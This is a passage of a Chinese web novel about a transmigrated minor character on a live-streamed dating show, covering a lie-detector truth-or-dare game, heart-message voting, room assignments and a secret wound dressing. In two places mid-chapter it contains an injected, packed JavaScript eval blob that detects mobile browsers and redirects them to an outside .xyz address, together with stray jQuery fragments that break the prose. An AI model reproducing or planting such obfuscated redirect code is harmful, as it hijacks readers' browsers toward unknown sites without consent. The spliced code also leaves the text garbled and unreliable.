他指了指桌上的箭头:“等会儿箭头指向谁,谁就是回答问题的人,我们的系统会从直播观众的弹幕中随机挑选一个问题让嘉宾回答。不想回答的话,可以看看这边的大冒险清单。” 工作人员竖起一块巨大的白板,白板上列举了十来条大冒险内容。 直播间里,观众们正摩拳擦掌,可见到那块白板,立刻哄笑了起来: 【我草,还是张导会玩,这大冒险,不是极限选手怕是玩不转】 【绑住一只手爬上二楼阳台……说服现场的某位嘉宾和你湿吻十分钟……这选项怎么一个比一个离谱?】 【哈哈哈,这不就是逼着嘉宾回答问题嘛,我可要好好准备准备】 【笑死,让我先看看各位的资料】 安乐言自然也看到了那些离谱的选项,又看了一眼桌子中间的光影箭头,他默默盯着箭杆上的爱心,试图和对方交流:好箭头好箭头,你可千万别往我这边指。 嗯,心诚则灵。 再一抬眼,他这才发现,自己坐在穆为和银心之间,对面就是傅识沧,两边分别坐着聂长星和白景辰。 啧啧啧,玩个真心话还这么心机。 穆为不愧是风流1哥,在座的嘉宾也就是白景辰刚来,他就直接挨着人家坐了。毕竟是人气爱豆,好像是穆为最喜欢的类型呢。 还有还有,原来聂长星喜欢我沧哥这款啊!回头让我来把把关。 就是银心,怎么和聂长星坐一块了,嘶——我该跟他换个位置吗? 安乐言自顾自地替嘉宾们操着心,一时间忽略了对面人的表情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730296|157269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅识沧还是那副漫不经心的样子,目光缓缓扫过圆桌边的几位嘉宾,在安乐言这儿稍顿了一下,又不甚在意地滑了过去。 导演按下按钮,箭头飞快地旋转起来。 别指我别指我别指我别…… 箭头倏地一下停了下来,直直指向安乐言。 你怎么……连点惯性都没有呢? 大概是他这会儿的表情太生动,嘉宾们都笑了起来。 笑声打破了方才的紧张与僵硬,安乐言无奈地摇了摇头,大大方方站了起来。 “来,问吧。” 一个小炮灰,又有什么不能说的呢?大不了做个小弊,说点大家喜欢的,乐一乐也就过了。 安乐言没多少粉丝,直播间里关注他的人不多,此刻见他被选中,弹幕安静了一会儿,才重新飘出零星的一两条。 安乐言偷偷看了眼导演,他怀疑,就这几条弹幕,也是导演让工作人员假扮粉丝刷的。 有人问:听说你喜欢白景辰喜欢到无法自拔,你喜欢他什么? 行吧,终于来了。 安乐言再次扫了眼写着大冒险选项的白板,选择了回答问题。 他努力堆出微笑:“性格。” 嘀嘀嘀! 响亮的报警声在尴尬的空气中回荡,圆桌中央的红灯猛地闪烁起来。 张导笑得意味深长:“为了防止嘉宾说谎,我们采用了最新的测谎技术,一旦说谎,这盏灯就会报警。请再回答一次。” 安乐言:“……长相。” 嘀嘀嘀! 安乐言:“……家世。” 嘀嘀嘀! 盯着桌子中间不断闪烁的红灯半晌,安乐言抬眼看向导演:“您这灯是不是坏了?” 张导被他逗笑:“怎么可能,高科技呢,你肯定没说实话。” “我再问一遍,听说你喜欢白景辰喜欢到无法自拔,你喜欢他什么?” 安乐言深深地吸了一口气,闭眼回答:“我不喜欢他。” 话音落下,桌上的红灯安静如鸡。 白景辰惊讶地转过头,目光终于投向安乐言,带着几分不可思议,还有……一丝如释重负。 他的目光又转向身边的傅识沧。 男人身形挺拔,侧颜如玉,此刻和其他嘉宾一样,正十分玩味地看着对面的安乐言,嘴角微微上扬。 白景辰是出道三年的爱豆,为了转型来参加综艺,平时粉丝不少。 来上节目之前,他的经纪人还在头疼,安乐言高调示爱在先,白景辰在节目里就多了一重道德捆绑,处理不好很容易被大众误解。 而现在…… 喜悦后知后觉地涌上白景辰的心头,没有了安乐言这个绊脚石,他就可以在节目里尽情追求傅哥,也不会有任何道德问题。 傅哥也是因为这个才高兴的吧? 弹幕猛地热闹起来: 【哦吼,这是怎么回事?前几天不还看见这小coser高调示爱?】 【难道是公司安排的营业?也不对啊,他俩又不是一个公司,之前不是说白的经纪人扬言要告他,说蹭热度太没底线?】 【该不会是看到其他嘉宾好看又有钱,移情别恋了吧……】 在场的嘉宾大概也有这种想法,投向安乐言的目光顿时变得微妙起来。 安乐言也没想解释,默默坐了下来。 箭头再次旋转,他放松地靠向椅背。 这样也好,迟早是要和白景辰撇清关系的,虽然有点突然,但快刀斩乱麻,直接一刀砍了,也省得他还要多演好几天戏。 现在是无事一身轻,就可以专心吃瓜看戏,哈哈哈,哈哈,哈…… 箭头再次停下,却再一次水灵灵地指向安乐言。 ?又是我? 连弹幕都惊了,几条吐槽的弹幕飘过后,提问的人数突然暴涨,弹幕几乎覆盖了整个屏幕。 系统随机挑出一个问题:你对傅识沧印象最深的是? 安乐言愣了一下,把握十足地开口:“长得帅!” 嘀嘀嘀! 安乐言:“……温柔绅士。” 嘀嘀嘀! 安乐言闭上眼。 这测谎仪怎么回事?难道必须回答作者规定的人设?可刚才说不喜欢白景辰不也过了? 这TM是考阅读理解吗? 导演在催促,安乐言脑海里突然闪出某电视节目对作者的一段访谈,略过一长串的形容词,他脱口说出作者对傅识沧的描述:“……心狠手辣,是个变态。” 空气再一次安静下来,偌大的别墅里鸦雀无声。 过了几秒,前方才传来了一点动静。 安乐言怯怯地睁开眼。 圆桌对面,优雅性感的男人缓缓拧开一瓶冰水,嗓音也凉得像是经过了冷冻: “我倒是很好奇,你是怎么得出这个结论的?” 4. 第 4 章 所有的目光都集中在了安乐言身上。 小炮灰欲哭无泪。 怎么办?总不能说,我是穿书来的,作者就是这么说你的,要不你去看看原著? 安乐言的目光落在傅识沧脸上。 不愧是要当影帝的人,表情控制堪称完美,他甚至带着温和有礼的微笑,仿佛自己真的只是好奇才提出了这个问题。 如果不是在他身边做了两年的助理,就算是安乐言,怕也会忽略掉他压抑着愤怒时,眼眸深处一闪而过的火花。 演的真好,不愧是影帝呜呜呜,如果不是针对我就更好了。 对了,影帝! 安乐言终于抓住了一根救命稻草。 他求助似的看了眼导演:“问的是对傅哥最深的印象嘛,我,我就想起了《秦城》。” 张导眼中闪过一丝惊讶。 《秦城》是傅识沧刚刚杀青的一部电影,而这位天才演员在其中扮演的,正是一个心狠手辣、十分变态的反派。 这部电影刚刚完成制作就送去了国际电影节参展,在国内并未上映,就是准备拿了奖再进入国内院线,所以,国内虽然知道有这么个片子,却连个预告片都没有流出。 而张导之所以知道这些内幕,还是因为,《秦城》的总编剧,正是他家夫人。 他还没开口,傅识沧就看了过来:“张导,这片子这会儿不是还捂着么?是不是您泄的密?” “不不不,”安乐言连忙维护导演,“我是傅先生的粉丝,特别喜欢您的电影,所以我……找朋友,在电影节上偷偷录了一段。” 他红着脸看向傅识沧:“您演得真好!” 嘉宾们都露出恍然的神情。 原来是铁杆影迷啊,怪不得这么了解。 事情似乎就这么被圆过去了,张茂皱了皱眉,打算再问点什么,一旁穆为突然发了话:“电影节昨天才首播,你今天就得到消息了?” 他的一双风流眼在安乐言和傅识沧之间转了一圈,突然凑近安乐言问道:“你怎么这么关心他?” 安乐言吓了一跳,连忙往旁边躲了躲:“那当然了,傅先生出演的每个角色我都喜欢。” “哦~”聂长星也来了兴趣,“是喜欢角色吗?” “那当然啊!”安乐言又弹了回来,“傅哥对每一个角色都很认真,每一次出演,他都会用很长时间去揣摩准备,对角色的心理和气质都把握得特别到位……” 察觉到了房间里的安静,安乐言猛地住口:“那个……我说太多了,咱们继续,继续转。” 直播间的弹幕里哈哈哈笑成一片: 【这小coser好好玩,一桌子的修罗场只有他完全状况外】 【这把本来是高端局,结果穆为的试探他愣是没看出来,对面的白景辰都紧张死了】 【人家说人呢,他说角色,这就是事业粉的自我修养吗?】 【看样子聂长星也不是个好惹的,穆为还在试探呢,他就直接问出来了】 【还是银心最单纯,我感觉他根本啥都没听见】 接下来的真心话再没点到安乐言,他却像得了PTSD,每一次箭头停下都要心惊胆战一番。 偶尔也偷看一下傅识沧,而对面的这位帅哥似乎对他的回答并不满意,锋利的目光透过镜片,总是能精确对上他的眼神。 呜呜呜,我不是故意的,沧哥你别怪我了。 “好了,真心话游戏结束,我们的直播也就到这儿了。欢迎大家在下周六晚上,观看《美味关系》的首播。” 张茂笑呵呵地指挥着摄影师们拉近镜头:“来,和大家道个别,咱们周末见。” 嘉宾们纷纷扬起笑脸,冲着摄像头挥挥手。 弹幕里一片哀嚎: 【好短,还没看过瘾,嘉宾们颜值过高,需要长时间大剂量的脱敏治疗】 【原本还以为无法超越前两期,今天的真心话让我开眼了,期待期待】 【刚入坑,这综艺不是直播吗?】 【这节目边录边播,重大事件比如今天开机会有直播,其他时间会把一周的素材剪成3到4集,每周末播放两集,每集一个半小时的样子】 【安排还是挺合理的,不知道后期效果怎么样】 【哈哈哈,不用担心,鬼斧神工】 【笑死,张导的团队在搞事情上的确毋庸置疑】 直播结束,嘉宾们都松了一口气,纷纷站起来活动身体。 “别急别急,咱们先把心动短信发了。”张导叫住大家。 “现在就发短信?”穆为回头,“我以为要到晚上睡前。” “这期规矩改了,这是第一印象短信,随便发,不一定是动心对象,友情短信也行。”张导朝着嘉宾们挥了挥手,“咱们等会儿根据短信情况分房。” 涉及到分房,嘉宾们又都紧张起来。 这是恋综,同吃同住最容易擦出火花,但现在各人的心思不明,万一分好了又喜欢上了别人,只能眼看着喜欢的人和别人同住一间,那岂不是煎熬? 嘉宾们看了眼笑呵呵的张导,暗暗在心里吐槽:随便发,这能随便发吗?这些主意都是谁想出来的,太狠了! 六个嘉宾很快分散开来,傅识沧坐在客厅的单人沙发上,白景辰跟着他过去,倒是没敢和他坐在一起,窝在了长沙发一角。 银心去了二楼,穆为则出了别墅,坐在花园的长椅上。 聂长星打开通向后院的门,那里有个可以喝茶的小平台,正对着客厅的落地窗。 他就在桌旁的贵妃榻上歪了下来。 至于安乐言,十分有炮灰自觉地进了厨房。 刚才来拿水的时候,他就喜欢上了这个地方。夕阳从流理台后的大玻璃窗照射进来,整个房间看起来都暖洋洋的。 他掏出手机,打开短信界面。 《美味关系》这部恋综,在常见恋综的基础上做出了很大的创新。 除了发送心动短信、同吃同住、配对约会等模式,又添加了一同工作的设定。 节目组会提供一辆高级餐车,每期安排两到三个工作日,能够一同工作一天的两人,也算得上是单独相处,比配对约会的时间都长。 而心动短信发送的结果,对分房和工作伙伴的搭配有很大的影响,可谓是重中之重。 不过安乐言不担心,作为一个熟读小说剧情的人,每一次的短信发送结果他都了然于心。 今天的初印象短信,收到短信最多的人将拥有房间的分配权。 这座别墅里一共三间卧室,分别是单人间、双人间和三人间。 原著里当然是傅识沧获胜,自己住了单人间,而一条短信都没收到的安乐言,自然是被放在最后,去了三人间最角落的位置。 这个倒是无所谓,安乐言笑眯眯地想,越边缘越好,能变透明就更好了,我就是瓜田里的那只猹,不需要存在感。 他刚按下傅识沧的名字,就见白景辰走了进来。 安乐言连忙收起手机。 “你是认真的吗?”白景辰懒得废话,进来就直截了当。 安乐言愣了一下才反应过来,他说的是刚才,自己说不喜欢他的事。 他垂着眼角:“白哥,我 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该说什么?白景辰猛然醒过来,难道告诉他,我其实并不讨厌他?之前想让他退出也只是自己一时冲动? 他看了眼低着头的安乐言,纠结半晌,落荒而逃。 安乐言看着他慌乱的背影,轻轻舒了口气。 小少爷黑化前还怪可爱的,心地也不错,和沧哥当然不是良配,但看在你没想过害我的份上,回头我就帮你和其他嘉宾配一配。比如穆为,比如…… 他突然想起来一个问题,这帮人里,到底谁是0谁是1? 我沧哥当然是1,穆为肯定也是1,那么白景辰就是0,而原主喜欢白景辰,当然…… 废话,我当然是1啊! 至于聂长星和银心,大概率是0,这样才平衡嘛! 真聪明!安乐言在心里好好夸奖了自己一番,认真写了条短信,按下发送键。 任务完成,待在厨房也挺无聊的,不如去四处转转。 安乐言伸了个懒腰,晃晃悠悠出了厨房。 傅识沧依然坐在沙发上,从安乐言的角度,只能看到他的背影。 这还是第一次看到沧哥长发的样子呢!这发型很少有人能hold住,但放在他身上就再合适不过。 黑色发尾微微卷曲,潇洒地轻搭在脸侧,更凸显出他冷白的肤色和简洁有力的面部轮廓。 鼻梁的那副银色的细框眼镜,将眼眸的锐利和高傲都敛入镜框之后,只露出恰到好处的温柔有礼。 还是我沧哥最好看! 安乐言默默欣赏了一会儿才从沙发旁走过,敏感地听出傅识沧的手机震动了好几次。 对,就是这样,我沧哥就应该这样被万人簇拥,哈哈哈,哈…… 装在裤兜里的手机猛地一震,安乐言吓了一跳,我居然还能收到短信?会不会是安妈妈? 他掏出手机。 短信都来自节目组,全是同一个号码,他打开一看:谢谢你的水。 哦哦哦,原来是友情短信,安乐言拍了拍胸脯。 他表情还没放松下来,手机又接连震动了两次。 “因为你,今天见到了别树一帜的真心话。” “你的眼睛太美了。” 怎么……会有三条?这不一共才六个人吗? 安乐言回头看了眼沙发上傅识沧,却正对上他看过来的视线。 阳光从落地窗洒入客厅,男人的镜片倏忽闪了一下。 安乐言:…… 安乐言:…… 我该不会……抢了沧哥的分房权吧?!! 5. 第 5 章 节目组也和他一样紧张,只不过原因不同。 傅识沧主动提出提前上恋综,打乱了张导原先的计划,但依然是件好事。 傅识沧科班毕业,大二就开始接触电影圈,第一部出演的电影就是国内名导的作品,凭借处女作便轻松囊括了国内影坛新人所能拿到的所有奖项,可谓出道即巅峰。 而他并没有从此沉寂,后续几年,虽然没有太多作品,但每部电影都经过精心打磨,正处于声望积累期。 拍电影的空隙,他会参加些综艺,但大都只是短期,在公众面前露露脸保持一下热度,从不影响正业。 有这样的人参加恋综,比原先定下的大美人晨熙效果更好。因为刚刚杀青的《秦城》,据夫人所说,很快就会拿奖回国,联动效应不可忽视。 而晨熙的退出当然也和傅识沧有着直接的关系,多半是资源置换,皆大欢喜。 不用背锅又能拥有巨大人气和流量,张导求之不得。 既然这样,张茂干脆把真心话直接提到了开机仪式上,就是为了给嘉宾们拱一把火,把围绕着傅识沧和穆为的修罗场造起来。 只是没想到,突然杀出个安乐言。 看着连续三条发给安乐言的短信,张导陷入了沉思。 原以为只是个凑数的小角色,难道是位隐藏的大咖? 他看着安乐言简单的资料沉吟半晌,才抬头问副导演:“短信结果怎么样?” 副导演一脸活久见的表情,扬了扬手中的平板:“三比三。” “什么?”张导抹了把脸,“安乐言三票,还有谁?” “傅识沧也是三票。” 张茂:…… 他一把拍上副导演的大腿:“哈哈,还能这样。” 原想着票数会太过分散,没想到最后,票数依然集中到了两个人手里。 安乐言可以啊,居然直接顶了穆为的位置。 管他那么多,有节目效果就行。 副导演呲牙咧嘴地揉着自己的腿,眼见着张导歪歪扭扭地跑去了别墅。 拍个恋综而已,怎么疯魔成这样,啧。 “来来来,宣布结果了,”张茂笑嘻嘻地把人都叫到了客厅,“我们来看看,今天收到短信最多的是——” 他故意顿了顿,装出一脸烦恼的表情:“哎呀,小傅和小言同票呢,怎么办?” 安乐言眸光一亮,同票? 哦哦哦,原来大家的审美还是很在线嘛! 唉,人美心也善,一定是有人觉得大家都发短信给沧哥,我就太可怜了,于是给我投了同情票,只是没想到撞车了。 我的错我的错。 他看向傅识沧,对方也正看着他,一会儿以后,才转向张导:“要不我俩石头剪子布?” “我同意!”安乐言立刻表态。 “是不是太简单了?”张导摩挲着下巴,“这样吧,你们玩十局,如果平局多于五局,就让你们俩商量着分配,如果少于五局,就由我们的机器随机给你们分,怎么样?” “平局,还要五局以上,”穆为笑了,“这也太不容易了吧!” “张导真是有创意。”傅识沧直接给数据,“玩石头剪子布平局的概率只有三分之一,您却要求我们高出五成,这不是明摆着欺负我们嘛。” 张导一瞪眼:“来我这儿还不让我定规矩?你就说服不服吧?” 傅识沧大笑:“都到你手里了还说什么!来,我们换个位置。” 安乐言有点懵。 什么换位置?是嫌那边风水不好吗? 可等他抬头才发现,傅识沧这句话是对他身边的银心说的。 这位天才画家不知道为什么依然迷恋着他的眼睛,连坐都要跟他挨在一块。 这会儿被傅识沧要求了,才依依不舍地站起来。 清淡的柑橘香随着男人的动作拢了过来,其中又混合着一丝清凉的薄荷味,给原本的暖香增添了几分锐利。 像是香奈儿的蔚蓝,却又不同,只有在沧哥身上,才会有这样的效果。 安乐言紧张的神经渐渐舒缓下来,他偏头看了看在他身边坐下的男人。 依旧那么好看,却没有被复仇摧残的痕迹,正是他小时候曾见过的傅识沧。 再次见到故人的认知,到了现在才慢慢落到实地。 沧哥,好久不见。 傅识沧却并不知道他此番的心理活动,只知道在他坐下的时候,身边的少年突然放松了身体,先前的僵硬一扫而空,渐渐泛起些自如与随性,又似乎有几分压抑的冲动。 “开始了?”他开口提醒。 安乐言点点头。 这游戏他曾和沧哥玩过太多次,为了能让这位不省心的老板多吃两口饭,或是多喝一碗补药,他甚至去调过办公室的监控,一遍一遍揣摩沧哥出手前的表情和小动作,半年之后,傅识沧再没赢过他。 他看着那张曾经熟悉的脸,踩着节奏出手。 第一局,两人一起出了剪刀。 傅识沧笑着看了一他一眼。 第二局,还是剪刀。 第三局,石头…… 每一次都是同时出手,每一次都是一样的手势。 他甚至不用去看对方出了什么,就知道每一次必是平局。 傅识沧的表情从惊讶到玩味再到意味深长,干脆直接盯着他,快速出手。 两人就这么对视着,手上的动作却如出一辙。 嘉宾们渐渐围拢了过来,聂长星紧紧盯着安乐言,又顺着他的目光看向傅识沧,突然,他目光一闪,似有所得。 安乐言似乎感应到了什么,手一抖,慢了半拍,两人的手势终于错开。 “真是活见鬼了,你俩这是被什么控制了吗?”穆为目瞪口呆,拿手在两人眼前晃了晃,“十把有九把都是同款,不要告诉我这是心灵感应!” 就连张导也呆了好半晌,不过愿赌服输,他把分房权交给了两人。 “傅哥来吧,我听你的。”安乐言表态。 傅识沧似乎一直在观察他的表情,闻言笑了笑:“那我可就乱分了,你要是觉得不妥就提出来。” 安乐言点头:“好。” 张导忙招呼摄影推进镜头,示意把所有人的微表情都拍下来。 分房必然几家欢喜几家愁,刚才那一场惊人的巧合,再加上这几分钟的素材,他能剪出半集的内容来。 傅识沧扫了嘉宾们一眼:“银心、聂长星和白景辰一间。” 说完他看向安乐言。 这是把所有0方嘉宾都安排在了一起? 哦,也对。恋综这才刚开始,嘉宾之间的心意都不稳定,这么快就1、0配的话,很容易弄出尴尬。 沧哥真是想得太周到了,不愧是温柔绅士。 他崇拜地点了点头。 傅识沧好笑似的弯了弯嘴角,继续分:“穆为的作息和我们都不太一样,倒也不必太勉强自己去调整,你就住单人间吧。” “OK。”穆为挑了挑眼角,话音带着点轻佻,“那你就和乐言一间了?” “嗯,小言有意见吗?” 小言?沧哥叫我小言?安乐言再次被定住了身形。 好亲热的称呼啊,跟家人一样。 见他半天不说话,傅识沧挑了挑眉:“那就是没意见了。我们搬行李吧。” 大家的行李都在楼下,需要搬到二楼的卧室,嘉宾们一拥而下,不一会儿都挤在了玄关处。 安乐言晚了半拍,干脆站在楼梯边,等着大家先上去。可不过稍一错眼,就发现自己的箱子不见了。 玄关的角落里还有两个行李箱,一大一小,小的那个和自己的挺像。 他眨眨眼,拉起了那个小箱子,就见傅识沧从楼上下来了。 “还没上去?”傅识沧走到那个大箱子旁,目光却定在安乐言身上。 “刚才……你怎么做到的?” 男人身形高大,略微低头的时候,压迫感油然而生。 安乐言不由自主地背靠在墙角,和傅识沧对视一眼便垂下了眼睫。 “我也觉得挺巧的,大概是老天帮忙?” 他不说故意,也不否认是否有猫腻,只把一切都推给了命运。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730298|157269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>傅识沧嘴角溢出一丝轻笑,又上前一步。 薄荷的冷香此刻压过了温暖的柑橘,显示出几分攻击性。 安乐言:! 眼看着少年面上终于有了慌张的表情,傅识沧却没再多问,伸手从他身后拉出自己的行李箱,转身上楼。 呼—— 安乐言后背冒出一层冷汗。 嗷嗷嗷,好带感,到时候一定要围观傅哥逼迫反派,一定能把那些混蛋吓破胆! 太帅了! 他识趣地慢了一步,拎着那个没人管的箱子,跟在他身后。 刚上了一半,一阵急促的脚步声传来,就见银心急匆匆地楼梯的拐角处跑了下来。 大概是没想到会碰见人,他完全刹不住车,一头撞在傅识沧身上。 傅识沧被他撞得摇晃了一下,站在他身后的安乐言赶紧上前一步,抵住他的肩背。 男人的肩很宽,抵上去的时候,能感觉到温暖的体温和健康富有弹性的肌肉。 还有他此刻略微急促的呼吸。 “啊,对不起!”银心一脸愧疚,“我箱子拿错了,就……” “没事,”傅识沧的声音依然温和,“就这么几个人,拿错了也不会丢。” 银心的表情却有些局促,急急忙忙越过傅识沧的肩头,去看下面放箱子的地方。 “别担心,在我这儿呢。” 安乐言感觉傅识沧已经站稳,便松开抵着他的手,把身后的箱子拎到银心身前:“刚发现有人拿错了,我正准备上去问问。” “谢谢!”银心一副救命了的表情拎起了箱子,“你的箱子在我房间,你跟我来。” 看着安乐言跟着银心而去,傅识沧又站了两秒才继续拎着箱子上楼。 银心这个呆子,冒冒失失的,却刚好撞上了他受伤的地方。 傅识沧皱了皱眉,难道是故意的? 傅识沧推着行李箱进了卧室,坐在桌边,小口地吸着气。 腹部的伤口撞得不轻,这会儿正一阵一阵地跳着疼,让他皱紧了眉头。 这档恋综他早已签约,虽然临时提前了拍摄日期,可万一傅兴怀早有安排呢? 这个银心虽然看起来呆头呆脑,却不能不防。 还有那个安乐言。 目前的六个嘉宾里,和银心走得最近的就是他。 而且…… 从巧克力饮开始,到真心话的反应,再到刚才的猜拳,无一不显示出这个人对自己的熟悉,简直到了可怕的程度。 他会是叔叔派来监视自己的人吗? 思忖间,安乐言已经拖上了自己的箱子,匆匆进了房间。 他一进来就关上了门,从箱子里拿出一件T恤,盖在了摄像头上。 “不好意思啊,我换个衣服。” 他说话声音很大,显然是说给节目组听的。 人却没有去洗手间,也完全不避嫌,大概是打算就地就把衣服换了。 傅识沧饶有兴趣地看着他摘了身上的麦克风,却没看到美男脱衣的镜头。 下一秒,安乐言已经闪现到他面前,伸手去摘他领口上的麦克风。 一丝锐利从男人的镜片上闪过,傅识沧向后一仰,安乐言扑了个空。 他的反应倒是灵敏,另一只手快速撑了下桌子,生生把自己从跌倒的边缘拉了回来。 接着就开始对着他做口型——关掉麦,我给你看看伤口。 傅识沧眯了眯眼睛。 他曾经设想过傅兴怀会怎样试探他,最简单的是如同银心那般撞一撞摸一摸,但那还不够,试探的人必须有可以传递出去的照片或视频证据。 只要确认他的确受伤,傅兴怀便会把他列入怀疑的对象。 而现在,安乐言所要求的,正是这样的一个机会。 能如此直球做出试探的,不是傻瓜就是高手。 他期待的,可是后者。 很久没有遇到旗鼓相当的对手了,他甚至有些兴奋。 傅识沧勾唇笑了起来,配合地把麦关掉摘下。 然后,他掀起了自己衬衫的下摆。 6. 第 6 章 男人的身材很好,肩宽腰细,虽然是坐着,但依然看不见一丝赘肉。 他把衬衫拉到了胸腹之间,露出缠绕在腹部的绷带。 绷带白皙,却不掩他冷白的肤色,隐隐显出结实的腹肌轮廓。 洁白的纱布上,有微微的红在扩散,那是从里面渗出的血迹。 眼前的少年皱着眉头,细细审视那块渗血的纱布,睫毛微微颤动。 “你带医药包了吗?”他用气声轻轻地问。 傅识沧摇了摇头,接着就是一愣。 刚才,安乐言是不是瞪了他一眼? 完全是条件反射式的,仿佛做过千百遍,连他自己都没有意识到。 他看着少年忙忙碌碌地拖来刚找回来的行李箱,掀开盖子,从里面抱出一个小巧的医药箱来。 跟百宝箱似的,消毒液、外伤药、棉签、纱布、敷贴一应俱全,居然还有几套一次性的无菌工具盒。 他看着安乐言熟练地用消毒液消毒了双手,伸手就要拆他腰上的纱布。 傅识沧的眉头猛然一跳,一把抓住了少年的手腕。 “干嘛?”男人的声音低沉。 “换药啊!”安乐言看起来有点着急,“刚才银心撞的那一下,伤口肯定裂开了,任凭血这么流,你这伤口什么时候才能好?” “换药?”傅识沧目光如隼,手上又加了三分力气,“你怎么知道我受伤了?还提前准备了这些。” 少年的手腕很细,他有些怀疑,是不是自己稍一用力就能折断。 可手腕的主人却没顾上自己胳膊的安危,着急地扫了眼那堆药品和工具,再转过头,恍然道:“哦哦哦,忘了告诉你。那天你去医院的时候,我就躺在你旁边的病床上,汪肖雨,汪医生是我的主治。” 提到汪肖雨,傅识沧紧握的手松开了少许。 那天他受伤后并没有去门诊,而是直接去了老同学所在的住院部,被他安排进了唯一一间没有满员的病房。 他记得当时确实有人睡在一旁的床上,但拉着床帘,汪肖雨说还在昏迷中。 后来临床仪器突然报警,他不想被人看见,很快离开。 原来是他? “我那天从cos展的台子上掉下来了,”安乐言耸了耸肩,“因为身上还有伤,所以就带了这些东西。” 他说着掀起自己的衬衫一角,撕下侧腹上的一块纱布,那里果然还有一片未完全结痂的划伤。 傅识沧的目光微顿,少年的肌肉很薄,只有隐约的腹肌轮廓,腰线却十分漂亮。 安乐言拿起镊子,夹起一小块碘伏棉球,直接摁到自己的伤口上。 “你放心,药品绝对新鲜合格,而且我是专业的,不会弄疼你。” 他的说法让傅识沧忍俊不禁,终于放开了双手,安乐言迅速解开他腰间的绷带,再小心翼翼移开纱布。 男人漂亮的腹肌上,横贯着一道鲜红的伤口,最深的地方还在往外渗血。 少年心疼地皱了皱眉,熟练地清洗上药,再小心地贴上一次性免缝胶带。不一会儿,伤口果然不再渗血,傅识沧紧皱的眉头不由得松开几分。 “好了!”安乐言贴好最好一块纱布,又从箱子里掏出一块布料。 “这是最新材料的束腹带,轻薄透气,多推荐给剖腹产后恢复用,我感觉适合你这种情况。绑在腰上不影响你穿衣服,万一有人发现,你还可以说是因为腰疼。你之前拍古装的时候不是扭过一次?你一说大家就都理解了,不会有问题。” 他噼里啪啦一顿说完,才发现房间里已经安静好一会儿了。 安乐言抬头去看傅识沧。 男人脸上的表情还没来得及收回,大约是匪夷所思加上不可理喻再加我信了你的鬼的集合体。 安乐言:……嘿嘿,这表情以前没见过,赚了! 他张了张嘴,还没出声,门口突然传来敲门声。 是导演张茂:“小傅小言,你俩干嘛呢!摄像头不开麦也关了,有秘密啊。” “哦哦哦,来了!”安乐言一把按下傅识沧的衬衫,却没有收拾其他的东西,跑去开门。 “不好意思啊导演,我想先换个药再换衣服,不小心把沧哥也耽误了。” 他受伤张茂是知道的,只是没想到竟然严重到需要换药。他看了一眼安乐言扎起的衬衫一角和皮肤上黄黄的碘伏痕迹,放柔了声音:“要不要紧啊。你自己换药多麻烦,节目组也有医生,让医生给你看看。” “不用了张导,”安乐言摇摇笑,“我就是学护理的,这点小事就当是自己安排实践了。” 他瞅了眼走廊:“是不是有什么活动?我马上下来。” “没事,就是看看你们。”张导朝房间里看了一眼,“换好衣服了就出来吧,总待在房间里我们没法拍了。” 目送导演走开,安乐言走回桌旁,三下两下给自己抹了层碘伏,拍上一块纱布,就把医药包又放了回去。 “你下去吗?”他回头问傅识沧。 傅识沧已经整理好衬衫,恢复了矜贵优雅的模样,抬眼一笑:“你不是要换衣服?” “哦对,”安乐言点头,“说都说了,那还是换吧。” 他低头从箱子里掏出一件天青色T恤,还自嘲地叹了口气:“就这么一会儿我都换两回了,上了节目果然不同。” 见他抬手便解衬衫的扣子,傅识沧皱了皱眉,礼貌地半侧过身子。 卧室的窗子明净,隐约将房间内的人影映照上来。 背后的少年却似乎毫不在意,扬手脱下衬衫抖了抖,在椅背上搭好,才套上T恤。 即便只是窗子上的浅影,也能看出少年骨架轻盈,腰细腿长,有着极为流畅的青春线条。 他尚未回神,安乐言已经收拾好了自己,跟他打了个招呼,跑出了房间。 其他的嘉宾们已经在考虑晚饭的问题了。 今天到达小屋本就是下午,半天折腾下来,大家都有点饿。 白景辰首先进了厨房,穆为跟了过去。过了一会儿,聂长星和银心也过去了。 “你手艺怎么样?”穆为看着白景辰从冰箱里拿出食材,饶有兴趣地问。 他早就看出来了,白景辰自从进入别墅,眼睛就一直黏在傅识沧身上,刚才导演说晚饭自己解决,他立马就进了厨房,大概是想好好表现一番。 啧,这么早就心有所属了。不过傅识沧却似乎不买账,一直冷着他。 穆为笑了笑。 他并不在意交往的人对自己是不是真心,不过是有感觉了就在一起,没感觉了就一拍两散,只要不给他惹出什么乱子来,单纯做炮/友也没什么。 更何况,这是恋综,分分合合都是常事。 至于这位爱豆会不会为情所困…… 穆为的目光掠过白景辰的侧脸,说实话,他那张脸还挺适合流泪的。 “我手艺一般,”白景辰回头冲他笑了笑,“你们会做饭吗?要是有高手我就不献丑了。” 穆为耸耸肩:“我的厨艺大概止步于把菜从冰箱拿出来。” 银心只是茫然地摇了摇头。 聂长星又从冰箱里拎了瓶酸奶出来,也摇了摇头:“我只会煎鸡蛋。” “那我就勉为其难了。” 白景辰有点开心,做饭嘛,有什么难的。他之前特意在厨房跟着家里阿姨学做了两顿,又翻了不少食谱,还做了笔记,都放在手机备忘录里了,随时可查。 想到自己可以亲手抓住傅识沧的胃,他忍不住暗暗露出笑容来。 安乐言来到厨房的时候,白景辰已经开始炒菜了。 穆为在他身边打下手,聂长星和银心则被安排了洗菜的工作。 